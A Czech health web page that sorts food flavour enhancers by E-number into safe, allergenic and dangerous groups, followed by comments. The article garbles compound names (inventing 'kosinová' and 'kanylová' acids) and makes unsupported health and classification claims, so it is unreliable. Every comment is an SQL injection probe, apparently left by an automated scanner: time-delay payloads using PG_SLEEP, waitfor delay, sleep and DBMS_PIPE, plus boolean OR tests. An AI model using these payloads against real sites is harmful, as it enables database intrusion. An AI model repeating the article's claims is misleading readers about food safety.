Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Látky zvýrazňující chuť a vůni

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 46

Látky, které zvýrazňují chuť a vůni výrobci používají poměrně často. Přidávání těchto látek do potravin je samozřejmě regulováno, ale vzhledem k jejich různým druhům je dobré z obalů zjistit, které a v jakém množství potravina obsahuje.


Látky zvýrazňující chuť a vůni tyto vlastnosti u potravin ještě umocňují. Poměrně často jsou zaměňovány za tzv. aromatické látky, které ale potravinám chuť a vůni přímo dodávají. Používání látek pro zvýraznění chuťových a aromatických vlastností potraviny by v zásadě nemělo vést ke klamání spotřebitele, ale jen v umocnění chutí a vůní. Výrobci ale díky nim můžou použít méně kvalitní suroviny, případně suroviny s nižší výživnou hodnotou. Příkladem může být třeba nižší obsah masa v polévkách a dalších jídlech, která obsahují glutaman sodný.

Používání látek zvýrazňujících chuť a vůni je velmi rozšířené a není snad žádná skupina potravin, kde by některé z nich výrobci nevyužili. Nejvíce se používá kyselina glutamová, kyselina kanylová, kyselina kosinová a jejich soli. Oblíbené žvýkačky obsahují jak pro zdraví člověka neškodný thaumatin nebo neohesperidin, tak i nehvodný acesulfan K nebo nebezpečný aspartam…

Látky zvýrazňující chuť a vůni jsou v několika různých skupinách tzv. E látek. Dělí se na

  • přírodní a přírodně identické
  • polosyntetické a syntetické

Přírodní zvýrazňovače chutí a vůní, které nemají žádné nežádoucí zdravotní účinky

  • E 270 - Kyselina mléčná
  • E 640 - Glycin
  • E 641 – Leucin

Přírodní látky, které mohou způsobit alergické reakce a jsou zcela nevhodné pro děti!

  • E 630 - Kyselina kosinová
  • E 631 - Inosinan sodný
  • E 632 - Inosinan draselný
  • E 633 - Inosinan vápenatý
  • E 634 - Vápenaté ribonukleotidy
  • E 635 - Disodné ribonukleotidy

Přírodně identické látky jsou uměle vyráběné, ale svým složení odpovídají látkám, které se vyskytují v přírodních zdrojích. Zdraví člověka neškodí a považují se za bezpečné

  • E 164 - Šafrán, Šafránová žluť
  • E 261 - Octan draselný
  • E 297 - Kyselina fumarová
  • E 363 - Kyselina jantarová
  • E 957 - Thaumatin
  • E 959 - Neohesperidin DC
  • E 1505 - Triethyl-citrát

Polysyntetické a syntetické zvýrazňovačů chutí a vůní bez vedlejších účinků na zdraví

  • E 355 - Kyselina adipová
  • E 356 - Adipan sodný
  • E 357 - Lipan draselný
  • E 466 - Karboxymethylcelulóza
  • E 510 - Chlorid amonný
  • E 511 - Chlorid hořečnatý
  • E 524 - Hydroxid sodný
  • E 650 - Octan zinečnatý
  • E 968 - Erythritol

Pro lidský organismus nevhodné látky pro zvýraznění chutí a vůní

- možné alergické reakce

  • E 508 - Chlorid draselný
  • E 626 - Kyselina guanylová
  • E 1519 - Benzylalkohol

- možné alergické reakce, hyperaktivita, nevhodné pro děti!

  • E 325 - Mléčnan sodný
  • E 326 - Mléčnan draselný
  • E 327 - Mléčnan vápenatý
  • E 280 - Kyselina propionová
  • E 281 - Propionan sodný
  • E 320 - Butylhydroxyanisol (BHA)
  • E 321 - Butylhydroxytoluen (BHT)
  • E 627 - Guanylan sodný
  • E 628 - Guanylan draselný
  • E 629 - Guanylan vápenatý

 Na zdraví člověka nepříznivě působící zvýrazňovače chutí a vůní

  • E- 512 - Chlorid cínatý
  • E- 950 - Acesulfam K

 Zvýrazňovače chutí a vůní s výrazně škodlivými účinky, které jsou považované za nebezpečné. Způsobují alergické reakce a hyperaktivitu, jsou zcela nevhodné pro děti!

  • E 249 - Dusitan draselný
  • E 250 - Dusitan sodný
  • E 620 - Kyselina l-glutamová
  • E 621 - L-glutaman sodný
  • E 622 - Glutaman draselný
  • E 623 - Glutaman vápenatý
  • E 624 - Glutaman amonný
  • E 625 - Glutaman hořečnatý
  • E 951 - Aspartam

 Zakázané látky, zvýrazňující chuť a vůni

  • E 636 - Maltol
  • E 637 - Ethylmaltol
  • E 958 – Glycyrrhizin

I když jsou tyto látky v ČR a EU zakázané, nelze vyloučit, že nebudou obsaženy v potravinách, které byly vyrobeny mimo země Evropské unie a k nám dovezeny.

Pro lidský organismus bezpečných a neškodných zvýrazňovačů chutí a vůní je mnohem méně, než těch, které mají nevhodné nebo i nepříznivé účinky. Přidávání všech těchto látek do surovin a potravin je samozřejmě regulováno předpisy a kontrolováno. Při konzumaci běžného množství potravin, které takové látky obsahují by se žádné negativní účinky projevit neměly, ale přesto je lepší jejich konzumaci omezit nebo zcela vyloučit. Všechny podstatné informace o použití zvýrazňovačů chutí a vůní musí být uvedeny na obalu výrobku.  


Zpět na hlavní článek Éčka v potravinách.

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1%2527%2522

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1R42725o')) OR 848=(SELECT 848 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

gX0XZwPO') OR 976=(SELECT 976 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

yS8RAQpE' OR 258=(SELECT 258 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1)) OR 166=(SELECT 166 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5) OR 15=(SELECT 15 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5 OR 865=(SELECT 865 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

U4trUzmM'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2>(0+5+224-224) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2<(0+5+224-224) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3+224-224-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 2+224-224-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+724-724) or 'yrWnLB2m'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+724-724) or 'yrWnLB2m'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+724-724-1=0+0+0+1 or 'yrWnLB2m'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+724-724-1=0+0+0+1 or 'yrWnLB2m'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+234-234) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+234-234) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+234-234-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+234-234-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+299-299)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+299-299)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+299-299-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+299-299-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+571-571) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+571-571) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+571-571-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+571-571-1=0+0+0+1 --

Zdravotní kalkulačka

:
: